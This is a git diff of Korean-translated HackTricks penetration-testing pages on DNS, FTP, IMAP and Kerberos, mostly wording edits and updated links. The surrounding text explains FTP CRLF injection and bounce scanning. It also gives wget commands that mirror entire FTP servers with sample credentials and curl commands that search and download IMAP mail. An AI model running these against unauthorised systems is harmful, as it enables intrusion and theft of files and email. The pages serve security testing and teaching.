์‚ฌ์šฉํ•˜์—ฌ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ์ฃผ์†Œ๋กœ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋Š” ๊ฒƒ**์€ ํ”ผํ•ด์ž๊ฐ€ **๋ฐฐ๋‹ฌ ์‹คํŒจ ์•Œ๋ฆผ(NDN)** ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ฉ”์‹œ์ง€์˜ **ํ—ค๋”**์—๋Š” **๋‚ด๋ถ€ ์„œ๋ฒ„์˜ ์ด๋ฆ„๊ณผ IP ์ฃผ์†Œ**์™€ ๊ฐ™์€ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**ํ”ผํ•ด์ž์˜ ๋„๋ฉ”์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ์ฃผ์†Œ๋กœ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋Š” ๊ฒƒ**์€ ํ”ผํ•ด์ž๊ฐ€ **๋น„๋ฐฐ๋‹ฌ ์•Œ๋ฆผ(NDN)** ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ฉ”์‹œ์ง€์˜ **ํ—ค๋”**์—๋Š” **๋‚ด๋ถ€ ์„œ๋ฒ„์˜ ์ด๋ฆ„๊ณผ IP ์ฃผ์†Œ**์™€ ๊ฐ™์€ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ @@ -166,12 +167,12 @@ host.conf /etc/bind/named.conf.log /etc/bind/* ``` -## ์ฐธ๊ณ ๋ฌธํ—Œ +## References - [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) -- ์ฑ…: **๋„คํŠธ์›Œํฌ ๋ณด์•ˆ ํ‰๊ฐ€ 3ํŒ** +- Book: **Network Security Assessment 3rd edition** -## HackTricks ์ž๋™ ๋ช…๋ น +## HackTricks Automatic Commands ``` Protocol_Name: DNS #Protocol Abbreviation if there is one. Port_Number: 53 #Comma separated if there is more than one. @@ -195,7 +196,7 @@ SERVER {IP} Domain_Name exit -https://book.hacktricks.xyz/pentesting/pentesting-dns +https://book.hacktricks.wiki/en/todo/pentesting-dns.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 28fbe3830..3e8379bc7 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## ๊ธฐ๋ณธ ์ •๋ณด -**ํŒŒ์ผ ์ „์†ก ํ”„๋กœํ† ์ฝœ (FTP)**๋Š” ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ ๊ฐ„์˜ ์ปดํ“จํ„ฐ ๋„คํŠธ์›Œํฌ์—์„œ ํŒŒ์ผ ์ „์†ก์„ ์œ„ํ•œ ํ‘œ์ค€ ํ”„๋กœํ† ์ฝœ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.\ +**ํŒŒ์ผ ์ „์†ก ํ”„๋กœํ† ์ฝœ (FTP)**๋Š” ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ ๊ฐ„์˜ ์ปดํ“จํ„ฐ ๋„คํŠธ์›Œํฌ์—์„œ ํŒŒ์ผ ์ „์†ก์„ ์œ„ํ•œ ํ‘œ์ค€ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค.\ ์ด๊ฒƒ์€ **์ผ๋ฐ˜ ํ…์ŠคํŠธ** ํ”„๋กœํ† ์ฝœ๋กœ, **์ƒˆ ์ค„ ๋ฌธ์ž `0x0d 0x0a`**๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ๋•Œ๋•Œ๋กœ **`telnet`** ๋˜๋Š” **`nc -C`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์—ฐ๊ฒฐํ•ด์•ผ** ํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 21 @@ -115,7 +115,7 @@ You can connect to a FTP server using a browser (like Firefox) using a URL like: ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ **FTP ์„œ๋ฒ„**์— **์ง์ ‘ ์ „์†ก**ํ•˜๋Š” **์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ์ด์ค‘ URL ์ธ์ฝ”๋”ฉ๋œ `%0d%0a` (์ด์ค‘ URL ์ธ์ฝ”๋”ฉ์—์„œ๋Š” `%250d%250a`) ๋ฐ”์ดํŠธ๋ฅผ ์ „์†กํ•˜์—ฌ **FTP ์„œ๋ฒ„๊ฐ€ ์ž„์˜์˜ ์ž‘์—…์„ ์ˆ˜ํ–‰**ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ€๋Šฅํ•œ ์ž„์˜์˜ ์ž‘์—… ์ค‘ ํ•˜๋‚˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„์—์„œ ์ฝ˜ํ…์ธ ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ฑฐ๋‚˜ ํฌํŠธ ์Šค์บ๋‹์„ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ํ‰๋ฌธ ๊ธฐ๋ฐ˜ ์„œ๋น„์Šค(์˜ˆ: http)์™€ ํ†ต์‹ ์„ ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. +์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ **FTP ์„œ๋ฒ„**์— **์ง์ ‘ ์ „์†กํ•˜๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ์ด์ค‘ URL ์ธ์ฝ”๋”ฉ๋œ `%0d%0a` (์ด์ค‘ URL ์ธ์ฝ”๋”ฉ์—์„œ๋Š” `%250d%250a`) ๋ฐ”์ดํŠธ๋ฅผ ์ „์†กํ•˜์—ฌ **FTP ์„œ๋ฒ„๊ฐ€ ์ž„์˜์˜ ์ž‘์—…์„ ์ˆ˜ํ–‰**ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ€๋Šฅํ•œ ์ž„์˜ ์ž‘์—… ์ค‘ ํ•˜๋‚˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„์—์„œ ์ฝ˜ํ…์ธ ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ฑฐ๋‚˜ ํฌํŠธ ์Šค์บ๋‹์„ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ํ‰๋ฌธ ๊ธฐ๋ฐ˜ ์„œ๋น„์Šค(์˜ˆ: http)์™€ ํ†ต์‹ ์„ ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ## FTP์—์„œ ๋ชจ๋“  ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ```bash @@ -139,7 +139,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`STOR /path/something.txt`** `APPE`์™€ ๊ฐ™์ง€๋งŒ ํŒŒ์ผ์„ ๋ฎ์–ด์”๋‹ˆ๋‹ค. - **`STOU /path/something.txt`** `APPE`์™€ ๊ฐ™์ง€๋งŒ ์กด์žฌํ•  ๊ฒฝ์šฐ ์•„๋ฌด ์ž‘์—…๋„ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - **`RETR /path/to/file`** ์ˆ˜๋™ ๋˜๋Š” ํฌํŠธ ์—ฐ๊ฒฐ์ด ์„ค์ •๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ FTP ์„œ๋ฒ„๋Š” ํ•ด๋‹น ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ง€์ •๋œ ํŒŒ์ผ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. -- **`REST 6`** ์ด๋Š” ์„œ๋ฒ„์— ๋‹ค์Œ ๋ฒˆ์— `RETR`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ „์†กํ•  ๋•Œ 6๋ฒˆ์งธ ๋ฐ”์ดํŠธ์—์„œ ์‹œ์ž‘ํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. +- **`REST 6`** ์ด๋Š” ์„œ๋ฒ„์— ๋‹ค์Œ ๋ฒˆ์— `RETR`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ „์†กํ•  ๋•Œ 6๋ฒˆ์งธ ๋ฐ”์ดํŠธ์—์„œ ์‹œ์ž‘ํ•ด์•ผ ํ•จ์„ ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. - **`TYPE i`** ์ „์†ก์„ ์ด์ง„์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. - **`PASV`** ์ด๋Š” ์ˆ˜๋™ ์—ฐ๊ฒฐ์„ ์—ด๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. - **`PUT /tmp/file.txt`** ์ง€์ •๋œ ํŒŒ์ผ์„ FTP์— ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. @@ -148,7 +148,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ## FTPBounce attack -์ผ๋ถ€ FTP ์„œ๋ฒ„๋Š” PORT ๋ช…๋ น์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ ์„œ๋ฒ„์— ๋‹ค๋ฅธ FTP ์„œ๋ฒ„์˜ ํŠน์ • ํฌํŠธ์— ์—ฐ๊ฒฐํ•˜๊ณ  ์‹ถ๋‹ค๋Š” ๊ฒƒ์„ ๋‚˜ํƒ€๋‚ด๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ FTP ์„œ๋ฒ„๋ฅผ ํ†ตํ•ด ํ˜ธ์ŠคํŠธ์˜ ์–ด๋–ค ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋Š”์ง€ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ถ€ FTP ์„œ๋ฒ„๋Š” PORT ๋ช…๋ น์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ ์„œ๋ฒ„์— ๋‹ค๋ฅธ FTP ์„œ๋ฒ„์˜ ํŠน์ • ํฌํŠธ์— ์—ฐ๊ฒฐํ•˜๊ณ  ์‹ถ์Œ์„ ๋‚˜ํƒ€๋‚ด๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ FTP ์„œ๋ฒ„๋ฅผ ํ†ตํ•ด ํ˜ธ์ŠคํŠธ์˜ ์–ด๋–ค ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋Š”์ง€ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [**์—ฌ๊ธฐ์—์„œ FTP ์„œ๋ฒ„๋ฅผ ์•…์šฉํ•˜์—ฌ ํฌํŠธ๋ฅผ ์Šค์บ”ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”.**](ftp-bounce-attack.md) @@ -171,7 +171,7 @@ posts.txt - **ํ”„๋กœํ† ์ฝœ๊ณผ ๊ด€๋ จ๋œ "์ •ํฌ" ๋ฐ์ดํ„ฐ๋กœ ์š”์ฒญ์„ ์ฑ„์šฐ๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค** (FTP์™€ ๋Œ€ํ™”ํ•  ๋•Œ๋Š” ์•„๋งˆ๋„ ์ •ํฌ ๋ช…๋ น์ด๋‚˜ `RETR` ๋ช…๋ น์„ ๋ฐ˜๋ณตํ•˜์—ฌ ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ). - **๋งŽ์€ ๋„ ๋ฌธ์ž ๋˜๋Š” ๋‹ค๋ฅธ ๋ฌธ์ž๋กœ ์š”์ฒญ์„ ์ฑ„์šฐ๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค** (์ค„๋กœ ๋‚˜๋ˆ„๊ฑฐ๋‚˜ ๋‚˜๋ˆ„์ง€ ์•Š๊ณ ). -์–ด์จŒ๋“ , ์—ฌ๊ธฐ [๋‹ค๋ฅธ FTP ์„œ๋ฒ„์—์„œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๋„๋ก FTP ์„œ๋ฒ„๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์˜ค๋ž˜๋œ ์˜ˆ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.](ftp-bounce-download-2oftp-file.md) +์–ด์จŒ๋“ , ์—ฌ๊ธฐ [๋‹ค๋ฅธ FTP ์„œ๋ฒ„์—์„œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๋„๋ก FTP ์„œ๋ฒ„๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์˜ค๋ž˜๋œ ์˜ˆ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.](ftp-bounce-download-2oftp-file.md) ## Filezilla Server Vulnerability @@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' if PASV transfer is disabled -https://book.hacktricks.xyz/pentesting/pentesting-ftp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index 8beb8ff5a..f9f60ad6c 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,7 +4,7 @@ ## ์ธํ„ฐ๋„ท ๋ฉ”์‹œ์ง€ ์ ‘๊ทผ ํ”„๋กœํ† ์ฝœ -**์ธํ„ฐ๋„ท ๋ฉ”์‹œ์ง€ ์ ‘๊ทผ ํ”„๋กœํ† ์ฝœ (IMAP)**์€ ์‚ฌ์šฉ์ž๊ฐ€ **์–ด๋–ค ์œ„์น˜์—์„œ๋“  ์ด๋ฉ”์ผ ๋ฉ”์‹œ์ง€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก** ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ ์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ, ์ด๋ฉ”์ผ์€ **์„œ๋ฒ„์— ๋ณด๊ด€**๋˜๋ฉฐ ๊ฐœ์ธ ์žฅ์น˜์— ๋‹ค์šด๋กœ๋“œ๋˜์–ด ์ €์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ด๋ฉ”์ผ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ฝ์„ ๋•Œ **์„œ๋ฒ„์—์„œ ์ง์ ‘** ์ด๋ฃจ์–ด์ง„๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ **์—ฌ๋Ÿฌ ์žฅ์น˜**์—์„œ ์ด๋ฉ”์ผ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ํŽธ๋ฆฌํ•จ์„ ์ œ๊ณตํ•˜์—ฌ, ์‚ฌ์šฉ๋˜๋Š” ์žฅ์น˜์— ๊ด€๊ณ„์—†์ด ๋ฉ”์‹œ์ง€๋ฅผ ๋†“์น˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. +**์ธํ„ฐ๋„ท ๋ฉ”์‹œ์ง€ ์ ‘๊ทผ ํ”„๋กœํ† ์ฝœ (IMAP)**์€ ์‚ฌ์šฉ์ž๊ฐ€ **์–ด๋–ค ์œ„์น˜์—์„œ๋“  ์ด๋ฉ”์ผ ๋ฉ”์‹œ์ง€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก** ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ ์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ, ์ด๋ฉ”์ผ์€ **์„œ๋ฒ„์— ๋ณด๊ด€**๋˜๋ฉฐ ๊ฐœ์ธ ์žฅ์น˜์— ๋‹ค์šด๋กœ๋“œ๋˜์–ด ์ €์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ด๋ฉ”์ผ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ฝ์„ ๋•Œ **์„œ๋ฒ„์—์„œ ์ง์ ‘** ์ด๋ฃจ์–ด์ง„๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ **์—ฌ๋Ÿฌ ์žฅ์น˜**์—์„œ ์ด๋ฉ”์ผ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ํŽธ๋ฆฌํ•จ์„ ์ œ๊ณตํ•˜์—ฌ, ์‚ฌ์šฉ๋œ ์žฅ์น˜์— ๊ด€๊ณ„์—†์ด ๋ฉ”์‹œ์ง€๋ฅผ ๋†“์น˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ IMAP ํ”„๋กœํ† ์ฝœ์€ ๋‘ ๊ฐœ์˜ ํฌํŠธ์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค: @@ -30,13 +30,13 @@ root@kali: telnet example.com 143 >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` -๋˜๋Š” **nmap** ํ”Œ๋Ÿฌ๊ทธ์ธ `imap-ntlm-info.nse`๋กœ ์ด๋ฅผ **์ž๋™ํ™”**ํ•ฉ๋‹ˆ๋‹ค. +Or **automate** this with **nmap** plugin `imap-ntlm-info.nse` ### [IMAP Bruteforce](../generic-hacking/brute-force.md#imap) -## ๊ตฌ๋ฌธ +## Syntax -IMAP ๋ช…๋ น์–ด ์˜ˆ์‹œ๋Š” [์—ฌ๊ธฐ](https://donsutherland.org/crib/imap)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +IMAP Commands examples from [here](https://donsutherland.org/crib/imap): ``` Login A1 LOGIN username password @@ -91,7 +91,7 @@ apt install evolution ### CURL -๊ธฐ๋ณธ ํƒ์ƒ‰์€ [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)๋กœ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๋ฌธ์„œ์— ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ๋ถ€์กฑํ•˜๋ฏ€๋กœ ์ •ํ™•ํ•œ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์œ„ํ•ด [์†Œ์Šค](https://github.com/curl/curl/blob/master/lib/imap.c)๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. +๊ธฐ๋ณธ ํƒ์ƒ‰์€ [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)๋กœ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๋ฌธ์„œ์— ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ๋ถ€์กฑํ•˜๋ฏ€๋กœ ์ •ํ™•ํ•œ ์„ธ๋ถ€ ์‚ฌํ•ญ์„ ์œ„ํ•ด [์†Œ์Šค](https://github.com/curl/curl/blob/master/lib/imap.c)๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. 1. ๋ฉ”์ผ๋ฐ•์Šค ๋‚˜์—ด (imap ๋ช…๋ น `LIST "" "*"`) ```bash @@ -109,22 +109,22 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` ๊ฐ€๋Šฅํ•œ ๊ฒ€์ƒ‰์–ด์— ๋Œ€ํ•œ ์ข‹์€ ๊ฐœ์š”๋Š” [์—ฌ๊ธฐ](https://www.atmail.com/blog/imap-commands/)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -3. ๋ฉ”์‹œ์ง€ ๋‹ค์šด๋กœ๋“œ (imap ๋ช…๋ น์–ด `SELECT Drafts` ๋ฐ ์ดํ›„ `FETCH 1 BODY[]`) +3. ๋ฉ”์‹œ์ง€ ๋‹ค์šด๋กœ๋“œ (imap ๋ช…๋ น `SELECT Drafts` ๋ฐ ๊ทธ ๋‹ค์Œ `FETCH 1 BODY[]`) ```bash curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` ๋ฉ”์ผ ์ธ๋ฑ์Šค๋Š” ๊ฒ€์ƒ‰ ์ž‘์—…์—์„œ ๋ฐ˜ํ™˜๋œ ๋™์ผํ•œ ์ธ๋ฑ์Šค๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. -`UID`(๊ณ ์œ  ID)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฉ”์‹œ์ง€์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๊ฒ€์ƒ‰ ๋ช…๋ น์„ ์ˆ˜๋™์œผ๋กœ ํ˜•์‹ํ™”ํ•ด์•ผ ํ•˜๋ฏ€๋กœ ๋œ ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: +`UID` (๊ณ ์œ  ID)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฉ”์‹œ์ง€์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๊ฒ€์ƒ‰ ๋ช…๋ น์„ ์ˆ˜๋™์œผ๋กœ ํ˜•์‹ํ™”ํ•ด์•ผ ํ•˜๋ฏ€๋กœ ๋œ ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -๋ฉ”์‹œ์ง€์˜ ์ผ๋ถ€๋งŒ ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ฒซ 5๊ฐœ์˜ ๋ฉ”์‹œ์ง€์˜ ์ œ๋ชฉ๊ณผ ๋ฐœ์‹ ์ž (์ œ๋ชฉ๊ณผ ๋ฐœ์‹ ์ž๋ฅผ ๋ณด๋ ค๋ฉด `-v`๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค): +๋ฉ”์‹œ์ง€์˜ ์ผ๋ถ€๋งŒ ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ฒซ 5๊ฐœ์˜ ๋ฉ”์‹œ์ง€์˜ ์ œ๋ชฉ๊ณผ ๋ฐœ์‹ ์ž(์ œ๋ชฉ๊ณผ ๋ฐœ์‹ ์ž๋ฅผ ๋ณด๋ ค๋ฉด `-v`๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' ``` -์•„๋งˆ๋„ ์ž‘์€ for ๋ฃจํ”„๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์ด ๋” ๊น”๋”ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค: +์•„๋งˆ๋„, ์ž‘์€ for ๋ฃจํ”„๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์ด ๋” ๊น”๋”ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค: ```bash for m in {1..5}; do echo $m @@ -148,7 +148,7 @@ Description: Notes for WHOIS Note: | The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used. -https://book.hacktricks.xyz/pentesting/pentesting-imap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 953368263..1f5b2309d 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,9 +6,9 @@ **Kerberos**๋Š” ์‚ฌ์šฉ์ž์˜ ๋ฆฌ์†Œ์Šค ์ ‘๊ทผ์„ ์ง์ ‘ ๊ด€๋ฆฌํ•˜์ง€ ์•Š๊ณ  ์ธ์ฆํ•˜๋Š” ์›์น™์— ๋”ฐ๋ผ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ”„๋กœํ† ์ฝœ์˜ ๋ณด์•ˆ ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ์˜ ์—ญํ• ์„ ๊ฐ•์กฐํ•˜๋Š” ์ค‘์š”ํ•œ ๊ตฌ๋ถ„์ž…๋‹ˆ๋‹ค. -**Active Directory**์™€ ๊ฐ™์€ ํ™˜๊ฒฝ์—์„œ **Kerberos**๋Š” ๋น„๋ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฒ€์ฆํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์‹ ์›์„ ํ™•๋ฆฝํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ๊ฐ ์‚ฌ์šฉ์ž์˜ ์‹ ์›์ด ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์ „์— ํ™•์ธ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **Kerberos**๋Š” ํŠน์ • ๋ฆฌ์†Œ์Šค๋‚˜ ์„œ๋น„์Šค์— 